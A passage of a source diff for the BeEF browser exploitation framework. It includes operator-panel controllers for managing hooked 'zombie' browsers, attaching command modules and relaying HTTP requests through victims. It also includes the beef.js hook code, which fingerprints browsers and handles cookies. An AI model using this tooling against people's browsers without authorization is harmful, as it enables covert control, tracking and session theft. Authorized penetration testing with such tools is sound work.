raise WEBrick::HTTPStatus::BadRequest, "limit less than or equal to start" if limit <= start
zombie = BeEF::Models::Zombie.first(:session => session)
raise WEBrick::HTTPStatus::BadRequest, "zombie is nil" if zombie.nil?
raise WEBrick::HTTPStatus::BadRequest, "zombie.id is nil" if zombie.id.nil?
zombie_id = zombie.id
# get log
log = BeEF::Models::Log.all(:offset => start, :limit => limit, :zombie_id => zombie_id, :order => [:date.desc])
raise WEBrick::HTTPStatus::BadRequest, "log is nil" if log.nil?
# format log
@body = logs2json(log)
end
private
# Returns a list of logs in JSON format.
def logs2json(logs)
logs_json = []
count = logs.length
output = '{success: false}'
logs.each do |log|
logs_json << {
'id' => log.id.to_i,
'date' => log.date.to_s,
'event' => log.event.to_s,
'type' => log.type.to_s
}
end
# format output
output = {'success' => 'true', 'count' => count, 'logs' => logs_json}.to_json if not logs_json.empty?
output
end
end
end
end

356
lib/ui/modules/modules.rb Normal file
View File

@@ -0,0 +1,356 @@
module BeEF
module UI
#
#
#
class Modules < BeEF::HttpController
BD = BeEF::Models::BrowserDetails
def initialize
super({
'paths' => {
'select_all_command_modules' => '/select/commandmodules/all.json',
'select_command_modules_tree' => '/select/commandmodules/tree.json',
'select_command_module' => '/select/commandmodule.json',
'select_command' => '/select/command.json',
'select_command_results' => '/select/command_results.json',
'select_zombie_summary' => '/select/zombie_summary.json',
'select_command_module_commands' => '/commandmodule/commands.json',
'attach_command_module' => '/commandmodule/new',
'reexecute_command_module' => '/commandmodule/reexecute'
}
})
@session = BeEF::UI::Session.instance
end
# Returns a JSON array containing the summary for a selected zombie.
def select_zombie_summary
# get the zombie
zombie_session = @params['zombie_session'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Zombie session is nil" if zombie_session.nil?
zombie = BeEF::Models::Zombie.first(:session => zombie_session)
raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil?
# init the summary grid
summary_grid_hash = {
'success' => 'true',
'results' => []
}
# set and add the return values for the browser name
browser_name = BD.get(zombie_session, 'BrowserName')
friendly_browser_name = BeEF::Constants::Browsers.friendly_name(browser_name)
browser_name_hash = { 'Browser Name' => friendly_browser_name }
browser_name_row = {
'category' => 'Browser Hook Initialisation',
'data' => browser_name_hash,
'from' => 'Initialisation'
}
summary_grid_hash['results'].push(browser_name_row) # add the row
# set and add the return values for the browser version
browser_version = BD.get(zombie_session, 'BrowserVersion')
browser_version_hash = { 'Browser Version' => browser_version }
browser_version_row = {
'category' => 'Browser Hook Initialisation',
'data' => browser_version_hash,
'from' => 'Initialisation'
}
summary_grid_hash['results'].push(browser_version_row) # add the row
@body = summary_grid_hash.to_json
end
# Returns the list of all command_modules in a JSON format
def select_all_command_modules
@body = command_modules2json(Dir["#{$root_dir}/modules/commands/**/*.rb"])
end
# Returns the list of all command_modules for a TreePanel in the interface.
def select_command_modules_tree
command_modules_tree_array = []
command_modules_categories = []
# get an array of all the command modules in the database
db_command_modules = BeEF::Models::CommandModule.all(:order => [:id.asc])
raise WEBrick::HTTPStatus::BadRequest, "db_command_modules is nil" if db_command_modules.nil?
db_command_modules.each {|command_module_db_details|
# get the hooked browser session id and set it in the command module
hook_session_id = @params['zombie_session'] || nil
raise WEBrick::HTTPStatus::BadRequest, "hook_session_id is nil" if hook_session_id.nil?
# create an instance of the comand module
command_module_name = File.basename command_module_db_details.path, '.rb' # get the name
command_module = BeEF::Modules::Commands.const_get(command_module_name.capitalize).new
command_module.session_id = hook_session_id
# set command module treeview display properties
command_module_friendly_name = command_module.info['Name'].downcase
command_module_category = command_module.info['Category'].downcase
# create url path and file for the command module icon
command_module_icon_path = BeEF::Constants::CommandModule::MODULE_TARGET_IMG_PATH # add icon path
case command_module.verify_target() # select the correct icon for the command module
when BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_NOT_WORKING
command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_NOT_WORKING_IMG
when BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_WORKING
command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_WORKING_IMG
when BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN
command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN_IMG
else
command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN_IMG
end
# construct the category branch if it doesn't exist for the command module tree
if not command_modules_categories.include? command_module_category
command_modules_categories.push(command_module_category) # flag that the categor has been added
command_modules_tree_array.push({ # add the branch structure
'text' => command_module_category,
'cls' => 'folder',
'children' => []
})
end
# construct leaf node for the command module tree
leaf_node = {
'text' => command_module_friendly_name,
'leaf' => true,
'icon' => command_module_icon_path,
'id' => command_module_db_details.id
}
# add the node to the branch in the command module tree
command_modules_tree_array.each {|x|
if x['text'].eql? command_module_category
x['children'].push( leaf_node )
break
end
}
}
# sort the array/tree
command_modules_tree_array.sort! {|a,b| a['text'] <=> b['text']}
# append the number of command modules so the branch name results in: "<category name> (num)"
command_modules_tree_array.each {|command_module_branch|
num_of_command_modules = command_module_branch['children'].length
command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
}
# return a JSON array of hashes
@body = command_modules_tree_array.to_json
end
# Returns the absolute path of the rb file mapped to the id in the database
def get_command_module_path(command_module_id)
# get command_module from database
raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil?
command_module = BeEF::Models::CommandModule.first(:id => command_module_id)
raise WEBrick::HTTPStatus::BadRequest, "Invalid command_module id" if command_module.nil?
# construct command_module path
absolute_command_module_path = $root_dir+File::SEPARATOR+command_module.path
raise WEBrick::HTTPStatus::BadRequest, "command_module file does not exist" if not File.exists?(absolute_command_module_path)
absolute_command_module_path
end
# Returns the inputs definition of an command_module.
def select_command_module
# get command_module id
command_module_id = @params['command_module_id'] || nil
raise WEBrick::HTTPStatus::BadRequest, "command_module_id is nil" if command_module_id.nil?
# get the command_module path
absolute_command_module_path = get_command_module_path(command_module_id)
@body = command_modules2json([absolute_command_module_path]);
end
# Returns the list of commands for an command_module
def select_command_module_commands
commands = []
i=0
# get params
zombie_session = @params['zombie_session'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Zombie session is nil" if zombie_session.nil?
command_module_id = @params['command_module_id'] || nil
raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil?
# validate nonce
nonce = @params['nonce'] || nil
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
# get the browser id
zombie = Z.first(:session => zombie_session)
raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil?
zombie_id = zombie.id
raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_id.nil?
C.all(:command_module_id => command_module_id, :zombie_id => zombie_id).each do |command|
commands.push({
'id' => i,
'object_id' => command.id,
'creationdate' => Time.at(command.creationdate.to_i).strftime("%Y-%m-%d %H:%M").to_s,
'label' => command.label
})
i+=1
end
@body = {
'success' => 'true',
'commands' => commands}.to_json
end
# Attaches an command_module to a zombie.
def attach_command_module
definition = {}
# get params
zombie_session = @params['zombie_session'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_session.nil?
command_module_id = @params['command_module_id'] || nil
raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil?
# validate nonce
nonce = @params['nonce'] || nil
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
@params.keys.each {|param|
raise WEBrick::HTTPStatus::BadRequest, "invalid key param string" if not Filter.has_valid_param_chars?(param)
raise WEBrick::HTTPStatus::BadRequest, "first char is num" if Filter.first_char_is_num?(param)
definition[param[4..-1]] = params[param]
}
zombie = Z.first(:session => zombie_session)
raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil?
zombie_id = zombie.id
raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_id.nil?
C.new( :data => definition.to_json,
:zombie_id => zombie_id,
:command_module_id => command_module_id,
:creationdate => Time.new.to_i
).save
@body = '{success : true}'
end
# Re-execute an command_module to a zombie.
def reexecute_command_module
# get params
command_id = @params['command_id'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Command id is nil" if command_id.nil?
command = BeEF::Models::Command.first(:id => command_id.to_i) || nil
raise WEBrick::HTTPStatus::BadRequest, "Command is nil" if command.nil?
# validate nonce
nonce = @params['nonce'] || nil
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
command.has_run = false
command.save
@body = '{success : true}'
end
# Returns the results of a command
def select_command_results
results = []
# get params
command_id = @params['command_id'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Command id is nil" if command_id.nil?
command = BeEF::Models::Command.first(:id => command_id.to_i) || nil
raise WEBrick::HTTPStatus::BadRequest, "Command is nil" if command.nil?
# get command_module
command_module = BeEF::Models::CommandModule.first(:id => command.command_module_id)
raise WEBrick::HTTPStatus::BadRequest, "command_module is nil" if command_module.nil?
command_module_name = File.basename command_module.path, '.rb'
resultsdb = BeEF::Models::Result.all(:command_id => command_id)
raise WEBrick::HTTPStatus::BadRequest, "Command id result is nil" if resultsdb.nil?
resultsdb.each{ |result| results.push({'date' => result.date, 'data' => JSON.parse(result.data)}) }
@body = {
'success' => 'true',
'command_module_name' => command_module_name,
'command_module_id' => command_module.id,
'results' => results}.to_json
end
# Returns the definition of a command.
# In other words it returns the command that was used to command_module a zombie.
def select_command
# get params
command_id = @params['command_id'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Command id is nil" if command_id.nil?
command = BeEF::Models::Command.first(:id => command_id.to_i) || nil
raise WEBrick::HTTPStatus::BadRequest, "Command is nil" if command.nil?
command_module = BeEF::Models::CommandModule.first(:id => command.command_module_id)
raise WEBrick::HTTPStatus::BadRequest, "command_module is nil" if command_module.nil?
command_module_name = File.basename command_module.path, '.rb'
e = BeEF::Modules::Commands.const_get(command_module_name.capitalize).new
@body = {
'success' => 'true',
'command_module_name' => command_module_name,
'command_module_id' => command_module.id,
'data' => JSON.parse(command.data),
'definition' => JSON.parse(e.to_json)
}.to_json
end
private
# Takes a list of command_modules and returns them as a JSON array
def command_modules2json(command_modules)
command_modules_json = {}
i = 1
command_modules.each do |command_module|
next if not File.exists?(command_module)
e = File.basename command_module, '.rb'
e = BeEF::Modules::Commands.const_get(e.capitalize).new
command_modules_json[i] = JSON.parse(e.to_json)
i += 1
end
if not command_modules_json.empty?
return {'success' => 'true', 'command_modules' => command_modules_json}.to_json
else
return {'success' => 'false'}.to_json
end
end
end
end
end

47
lib/ui/panel/index.html Normal file
View File

@@ -0,0 +1,47 @@
<html>
<head>
<title>BeEF Control Panel</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<%= script_tag 'ext-base.js' %>
<%= script_tag 'ext-all.js' %>
<%= script_tag 'ext-beef.js' %>
<%= script_tag 'ux/TabCloseMenu.js' %>
<%= script_tag 'ux/StatusBar.js' %>
<%= script_tag 'ui/panel/common.js' %>
<%= script_tag 'ui/panel/PanelStatusBar.js' %>
<%= script_tag 'ui/panel/tabs/ZombieTabMain.js' %>
<%= script_tag 'ui/panel/tabs/ZombieTabLogs.js' %>
<%= script_tag 'ui/panel/tabs/ZombieTabCommands.js' %>
<%= script_tag 'ui/panel/tabs/ZombieTabRequester.js' %>
<%= script_tag 'ui/panel/PanelViewer.js' %>
<%= script_tag 'ui/panel/DataGrid.js' %>
<%= script_tag 'ui/panel/MainPanel.js' %>
<%= script_tag 'ui/panel/ZombieTab.js' %>
<%= script_tag 'ui/panel/ZombiesPanel.js' %>
<%= script_tag 'ui/panel/ZombiesMgr.js' %>
<%= script_tag 'ui/panel/AboutWindow.js' %>
<%= script_tag 'ui/panel/Logout.js' %>
<%= script_tag 'ui/panel/WelcomeTab.js' %>
<%= stylesheet_tag 'ext-all.css' %>
<%= stylesheet_tag 'base.css' %>
</head>
<body>
<%= nonce_tag %>
<div id="header">
<div class="right-menu">
<a id='open-about-menu'>About</a>
<a id='do-logout-menu'>Logout</a>
</div>
</div>
</body>
</html>

25
lib/ui/panel/panel.rb Normal file
View File

@@ -0,0 +1,25 @@
module BeEF
module UI
#
#
#
class Panel < BeEF::HttpController
def initialize
super({
'paths' => {
'index' => '/'
}
})
end
#
def index
@body = 'a'
end
end
end
end

View File

@@ -0,0 +1,129 @@
module BeEF
module UI
#
# HTTP Controller for the Requester component of BeEF.
#
class Requester < BeEF::HttpController
# Variable representing the Http db model.
H = BeEF::Models::Http
def initialize
super({
'paths' => {
'send_request' => '/send',
'get_zombie_history' => '/history.json',
'get_zombie_response' => '/response.json',
}
})
end
# Send a new http request to the hooked browser.
def send_request
# validate that the hooked browser's session has been sent
zombie_session = @params['zombie_session'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Zombie session is nil" if zombie_session.nil?
# validate that the hooked browser exists in the db
zombie = Z.first(:session => zombie_session) || nil
raise WEBrick::HTTPStatus::BadRequest, "Invalid hooked browser session" if zombie.nil?
# validate that the raw request has been sent
raw_request = @params['raw_request'] || nil
raise WEBrick::HTTPStatus::BadRequest, "raw_request is nil" if raw_request.nil?
raise WEBrick::HTTPStatus::BadRequest, "raw_request contains non-printable chars" if not Filter.has_non_printable_char?(raw_request)
raise WEBrick::HTTPStatus::BadRequest, "raw_request is invalid request" if not Filter.is_valid_request?(raw_request)
# validate nonce
nonce = @params['nonce'] || nil
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
webrick = WEBrick::HTTPRequest.new(WEBrick::Config::HTTP)
# validate that the raw request is correct and can be used
# will raise an exception on failure
s = StringIO.new raw_request
webrick.parse(s)
# Saves the new HTTP request.
http = H.new(
:request => raw_request,
:method => webrick.request_method,
:domain => webrick.host,
:path => webrick.unparsed_uri,
:date => Time.now,
:zombie_id => zombie.id
)
if webrick.request_method.eql? 'POST'
http.content_length = webrick.content_length
end
http.save
@body = '{success : true}'
end
# Returns a JSON object containing the history of requests sent to the zombie.
def get_zombie_history
# validate nonce
nonce = @params['nonce'] || nil
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
# validate that the hooked browser's session has been sent
zombie_session = @params['zombie_session'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Zombie session is nil" if zombie_session.nil?
# validate that the hooked browser exists in the db
zombie = Z.first(:session => zombie_session) || nil
raise WEBrick::HTTPStatus::BadRequest, "Invalid hooked browser session" if zombie.nil?
history = []
H.all(:zombie_id => zombie.id).each{|http|
history << {
'id' => http.id,
'domain' => http.domain,
'path' => http.path,
'has_ran' => http.has_ran,
'date' => http.date
}
}
@body = {'success' => 'true', 'history' => history}.to_json
end
# Returns a JSON objecting containing the response of a request.
def get_zombie_response
# validate nonce
nonce = @params['nonce'] || nil
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
# validate the http id
http_id = @params['http_id'] || nil
raise WEBrick::HTTPStatus::BadRequest, "http_id is nil" if http_id.nil?
# validate that the http object exist in the dabatase
http_db = H.first(:id => http_id) || nil
raise WEBrick::HTTPStatus::BadRequest, "http object could not be found in the database" if http_db.nil?
res = {
'id' => http_db.id,
'request' => http_db.request,
'response' => http_db.response,
'domain' => http_db.domain,
'path' => http_db.path,
'date' => http_db.date,
'has_ran' => http_db.has_ran
}
@body = {'success' => 'true', 'result' => res}.to_json
end
end
end
end

113
lib/ui/session.rb Normal file
View File

@@ -0,0 +1,113 @@
module BeEF
module UI
#
# The session for BeEF UI.
#
class Session
include Singleton
attr_reader :ip, :id, :nonce, :auth_timestamp
def initialize
set_logged_out
@auth_timestamp = Time.new
end
#
# set the session logged in
#
def set_logged_in(ip)
@id = BeEF::Crypto::secure_token
@nonce = BeEF::Crypto::secure_token
@ip = ip
end
#
# set the session logged out
#
def set_logged_out
@id = nil
@nonce = nil
@ip = nil
end
#
# set teh auth_timestamp
#
def set_auth_timestamp(time)
@auth_timestamp = time
end
#
# return the session id
#
def get_id
@id
end
#
# return the nonce
#
def get_nonce
@nonce
end
#
# return the auth_timestamp
#
def get_auth_timestamp
@auth_timestamp
end
#
# Check if nonce valid
#
def valid_nonce?(request)
# check if a valid session
return false if not valid_session?(request)
return false if @nonce.nil?
return false if not request.request_method.eql? "POST"
# get nonce from request
request_nonce = request.query['nonce']
return false if request_nonce.nil?
# verify nonce
request_nonce.eql? @nonce
end
#
# Check if a session valid
#
def valid_session?(request)
# check if a valid session exists
return false if @id.nil?
return false if @ip.nil?
# check ip address matches
return false if not @ip.to_s.eql? request.peeraddr[3]
# get session cookie name from config
config = BeEF::Configuration.instance
session_cookie_name = config.get('session_cookie_name')
# check session id matches
request.cookies.each{|cookie|
c = WEBrick::Cookie.parse_set_cookie(cookie.to_s)
return true if (c.name.to_s.eql? session_cookie_name) and (c.value.eql? @id)
}
# not a valid session
false
end
end
end
end

101
lib/ui/zombies/zombies.rb Normal file
View File

@@ -0,0 +1,101 @@
module BeEF
module UI
#
#
#
class Zombies < BeEF::HttpController
def initialize
super({
'paths' => {
'select_all' => '/select/all/complete.json',
'select_online' => '/select/online/complete.json',
'select_offline' => '/select/offline/complete.json',
'select_online_simple' => '/select/online/simple.json',
'select_all_simple' => '/select/all/simple.json',
'select_offline_simple' => '/select/offline/simple.json'
}
})
end
# Selects all the zombies and returns them in a JSON array.
def select_all; @body = zombies2json(BeEF::Models::Zombie.all); end
# Selects all the zombies (IPs only) and returns them in JSON format
def select_all_simple; @body = zombies2json_simple(BeEF::Models::Zombie.all); end
# Selects all online zombies and returns them in a JSON array.
def select_online; @body = zombies2json(BeEF::Models::Zombie.all(:lastseen.gte => (Time.new.to_i - 30))); end
# Selects all online zombies (IPs only) and returns them in a JSON array
def select_online_simple; @body = zombies2json_simple(BeEF::Models::Zombie.all(:lastseen.gte => (Time.new.to_i - 30))); end
# Selects all the offline zombies and returns them in a JSON array.
def select_offline; @body = zombies2json(BeEF::Models::Zombie.all(:lastseen.lt => (Time.new.to_i - 30))); end
# Selects all the offline zombies (IPs only) and returns them in a JSON array.
def select_offline_simple; @body = zombies2json_simple(BeEF::Models::Zombie.all(:lastseen.lt => (Time.new.to_i - 30))); end
private
# Takes a list of zombies and format the results in a JSON array.
def zombies2json(zombies)
zombies_hash = {}
zombies.each do |zombie|
# create hash of zombie details
zombies_hash[zombie.session] = get_hooked_browser_hash(zombie)
end
zombies_hash.to_json
end
# Takes a list of zombies and format the results in a JSON array.
def zombies2json_simple(zombies)
zombies_hash = {}
zombies.each do |zombie|
# create hash of zombie details
zombies_hash[zombie.session] = get_simple_hooked_browser_hash(zombie)
end
zombies_hash.to_json
end
# create a hash of simple hooked browser details
def get_simple_hooked_browser_hash(hooked_browser)
browser_icon = BeEF::Models::BrowserDetails.browser_icon(hooked_browser.session)
os_icon = BeEF::Models::BrowserDetails.os_icon(hooked_browser.session)
return {
'session' => hooked_browser.session,
'ip' => hooked_browser.ip,
'domain' => hooked_browser.domain,
'browser_icon' => browser_icon,
'os_icon' => os_icon
}
end
# create a hash of hooked browser details
def get_hooked_browser_hash(hooked_browser)
hooked_browser_hash = get_simple_hooked_browser_hash(zombie)
return hooked_browser_hash.merge( {
'lastseen' => zombie.lastseen,
'httpheaders' => JSON.parse(zombie.httpheaders)
})
end
end
end
end

44
modules/beefjs/beef.js Normal file
View File

@@ -0,0 +1,44 @@
/*!
* BeEF JS Library <%= @beef_version %>
* http://beef.googlecode.com/
*/
<%= @beef_hook_session_name %>='<%= @beef_hook_session_id %>';
if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
var BeefJS = {
version: '<%= @beef_version %>',
// This get set to true during window.onload(). It's a useful hack when messing with document.write().
pageIsLoaded: false,
// An array containing functions to be executed by Beef.
commands: new Array(),
// An array containing all the BeEF JS components.
components: new Array(),
/**
* Adds a function to execute.
* @param: {Function} the function to execute.
*/
execute: function(fn) {
this.commands.push(fn);
},
/**
* Registers a component in BeEF JS.
* @params: {String} the component.
*
* Components are very important to register so the framework does not
* send them back over and over again.
*/
regCmp: function(component) {
this.components.push(component);
}
};
window.beef = BeefJS;
}

350
modules/beefjs/browser.js Normal file
View File

@@ -0,0 +1,350 @@
/**
* @literal object: beef.browser
*
* Basic browser functions.
*/
beef.browser = {
/**
* Returns the user agent that the browser is claming to be.
* @example: beef.browser.getBrowserReportedName()
*/
getBrowserReportedName: function() {
return navigator.userAgent;
},
/**
* Returns true if IE6.
* @example: beef.browser.isIE6()
*/
isIE6: function() {
return !window.XMLHttpRequest && !window.globalStorage;
},
/**
* Returns true if IE7.
* @example: beef.browser.isIE7()
*/
isIE7: function() {
return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !window.globalStorage;
},
/**
* Returns true if IE8.
* @example: beef.browser.isIE8()
*/
isIE8: function() {
return !!document.documentMode && document.documentMode == 8;
},
/**
* Returns true if IE9.
* @example: beef.browser.isIE9()
*/
isIE9: function() {
return !!document.documentMode && document.documentMode >= 9;
},
/**
* Returns true if IE.
* @example: beef.browser.isIE()
*/
isIE: function() {
return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9();
},
/**
* Returns true if FF2.
* @example: beef.browser.isFF2()
*/
isFF2: function() {
return !!window.globalStorage && !window.postMessage;
},
/**
* Returns true if FF3.
* @example: beef.browser.isFF3()
*/
isFF3: function() {
return !!window.globalStorage && !!window.postMessage && !JSON.parse;
},
/**
* Returns true if FF35.
* @example: beef.browser.isFF35()
*/
isFF35: function() {
return !!window.globalStorage && !!JSON.parse && !window.FileReader;
},
/**
* Returns true if FF36.
* @example: beef.browser.isFF36()
*/
isFF36: function() {
return !!window.globalStorage && !!window.FileReader && !window.multitouchData;
},
/**
* Returns true if FF4.
* @example: beef.browser.isFF4()
*/
isFF4: function() {
return !!window.globalStorage && !!window.history.replaceState;
},
/**
* Returns true if FF.
* @example: beef.browser.isFF()
*/
isFF: function() {
return this.isFF2() || this.isFF3() || this.isFF35() || this.isFF36() || this.isFF4();
},
/**
* Returns true if Safari.
* @example: beef.browser.isS()
*/
isS: function() {
return !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome;
},
/**
* Returns true if Chrome 5.
* @example: beef.browser.isC5()
*/
isC5: function() {
return !!window.chrome && !window.webkitPerformance;
},
/**
* Returns true if Chrome 6.
* @example: beef.browser.isC6()
*/
isC6: function() {
return !!window.chrome && !!window.webkitPerformance;
},
/**
* Returns true if Chrome.
* @example: beef.browser.isC()
*/
isC: function() {
return this.isC5() || this.isC6();
},
/**
* Returns true if Opera.
* @example: beef.browser.isO()
*/
isO: function() {
return !!window.opera;
},
/**
* Returns the type of browser being used.
* @example: beef.browser.type().IE6
* @example: beef.browser.type().FF
* @example: beef.browser.type().O
*/
type: function() {
return {
C5: this.isC5(), // Chrome 5
C6: this.isC6(), // Chrome 6
C: this.isC(), // Chrome any version
FF2: this.isFF2(), // Firefox 2
FF3: this.isFF3(), // Firefox 3
FF35: this.isFF35(), // Firefox 3.5
FF36: this.isFF36(), // Firefox 3.6
FF4: this.isFF4(), // Firefox 4
FF: this.isFF(), // Firefox any version
IE6: this.isIE6(), // Internet Explorer 6
IE7: this.isIE7(), // Internet Explorer 7
IE8: this.isIE8(), // Internet Explorer 8
IE9: this.isIE9(), // Internet Explorer 9
IE: this.isIE(), // Internet Explorer any version
O: this.isO(), // Opera any version
S: this.isS() // Safari any version
}
},
/**
* Returns the type of browser being used.
* @return: {String} User agant software and version.
*
* @example: beef.browser.getBrowserVersion()
*/
getBrowserVersion: function() {
if (this.isC5()) { return '5' }; // Chrome 5
if (this.isC6()) { return '6' }; // Chrome 6
if (this.isFF2()) { return '2' }; // Firefox 2
if (this.isFF3()) { return '3' }; // Firefox 3
if (this.isFF35()) { return '3.5' }; // Firefox 3.5
if (this.isFF36()) { return '3.6' }; // Firefox 3.6
if (this.isFF4()) { return '4' }; // Firefox 4
if (this.isIE6()) { return '6' }; // Internet Explorer 6
if (this.isIE7()) { return '7' }; // Internet Explorer 7
if (this.isIE8()) { return '8' }; // Internet Explorer 8
if (this.isIE9()) { return '9' }; // Internet Explorer 9
return 'UNKNOWN'; // Unknown UA
},
/**
* Returns the type of user angent by hooked browser.
* @return: {String} User agent software.
*
* @example: beef.browser.getBrowserName()
*/
getBrowserName: function() {
if (this.isC()) { return 'C' }; // Chrome any version
if (this.isFF()) { return 'FF' }; // Firefox any version
if (this.isIE()) { return 'IE' }; // Internet Explorer any version
if (this.isO()) { return 'O' }; // Opera any version
if (this.isS()) { return 'S' }; // Safari any version
return 'UNKNOWN'; // Unknown UA
},
/**
* Checks if the zombie has flash installed and enabled.
* @return: {Boolean} true or false.
*
* @example: if(beef.browser.hasFlash()) { ... }
*/
hasFlash: function() {
if (!this.type().IE) {
return (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]);
} else {
flash_versions = 10;
flash_installed = false;
if (window.ActiveXObject) {
for (x = 2; x <= flash_versions; x++) {
try {
Flash = eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash." + x + "');");
if (Flash) {
flash_installed = true;
}
}
catch(e) { }
}
};
return flash_installed;
}
},
/**
* Checks if the zombie has Java installed and enabled.
* @return: {Boolean} true or false.
*
* @example: if(beef.browser.hasJava()) { ... }
*/
hasJava: function() {
if(window.navigator.javaEnabled()) {
//Java is switched on in the browser, now need to detect whether or not its installed
if (document.getElementsByTagName("head")[0])
{
var ns = document.createElement('script');
ns.type = 'text/javascript';
ns.src = 'http://java.com/js/deployJava.js';
document.getElementsByTagName('head')[0].appendChild(ns);
if (deployJava && deployJava.versionCheck)
{
try {
return deployJava.versionCheck('0.1+');
} catch (e) {}
}
}
}
return false;
},
/**
* Checks if the zombie has VBScript enabled.
* @return: {Boolean} true or false.
*
* @example: if(beef.browser.hasVBScript()) { ... }
*/
hasVBScript: function() {
if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) {
return true;
} else {
return false;
}
},
/**
* Returns the list of plugins installed in the browser.
*/
getPlugins: function() {
var results = '';
if (navigator.plugins && navigator.plugins.length > 0) {
var pluginsArrayLength = navigator.plugins.length;
for (pluginsArrayCounter=0; pluginsArrayCounter < pluginsArrayLength; pluginsArrayCounter++ ) {
results += navigator.plugins[pluginsArrayCounter].name;
if(pluginsArrayCounter < pluginsArrayLength-1) {
results += String.fromCharCode(10);
}
}
}
return results;
},
/**
* Returns zombie screen size and color depth.
*/
getScreenParams: function() {
return {
width: window.screen.width,
height: window.screen.height,
colordepth: window.screen.colorDepth
}
},
/**
* Returns zombie browser window size.
* @from http://www.howtocreate.co.uk/tutorials/javascript/browserwindow
*/
getWindowSize: function() {
var myWidth = 0, myHeight = 0;
if( typeof( window.innerWidth ) == 'number' ) {
// Non-IE
myWidth = window.innerWidth;
myHeight = window.innerHeight;
} else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {
// IE 6+ in 'standards compliant mode'
myWidth = document.documentElement.clientWidth;
myHeight = document.documentElement.clientHeight;
} else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
// IE 4 compatible
myWidth = document.body.clientWidth;
myHeight = document.body.clientHeight;
}
return {
width: myWidth,
height: myHeight
}
},
/**
* Construct hash from browser details. This function is used to grab the browser details during the hooking process
*/
getDetails: function() {
var details = new Array();
details["BrowserName"] = beef.browser.getBrowserName();
details["BrowserVersion"] = beef.browser.getBrowserVersion();
details["BrowserReportedName"] = beef.browser.getBrowserReportedName();
return details;
}
};
beef.regCmp('beef.browser');

View File

@@ -0,0 +1,95 @@
/*!
* @literal object: beef.browser.cookie
*
* Provides fuctions for working with cookies.
* Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
* Original author unknown.
*
*/
beef.browser.cookie = {
setCookie: function (name, value, expires, path, domain, secure)
{
var today = new Date();
today.setTime( today.getTime() );
if ( expires )
{
expires = expires * 1000 * 60 * 60 * 24;
}
var expires_date = new Date( today.getTime() + (expires) );
document.cookie = name + "=" +escape( value ) +
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
( ( path ) ? ";path=" + path : "" ) +
( ( domain ) ? ";domain=" + domain : "" ) +
( ( secure ) ? ";secure" : "" );
},
getCookie: function(name)
{
var a_all_cookies = document.cookie.split( ';' );
var a_temp_cookie = '';
var cookie_name = '';
var cookie_value = '';
var b_cookie_found = false;
for ( i = 0; i < a_all_cookies.length; i++ )
{
a_temp_cookie = a_all_cookies[i].split( '=' );
cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');
if ( cookie_name == name )
{
b_cookie_found = true;
if ( a_temp_cookie.length > 1 )
{
cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') );
}
return cookie_value;
break;
}
a_temp_cookie = null;
cookie_name = '';
}
if ( !b_cookie_found )
{
return null;
}
},
deleteCookie: function (name, path, domain)
{
if ( this.getCookie(name) ) document.cookie = name + "=" +
( ( path ) ? ";path=" + path : "") +
( ( domain ) ? ";domain=" + domain : "" ) +
";expires=Thu, 01-Jan-1970 00:00:01 GMT";
},
hasSessionCookies: function (name)
{
var name = name || "cookie";
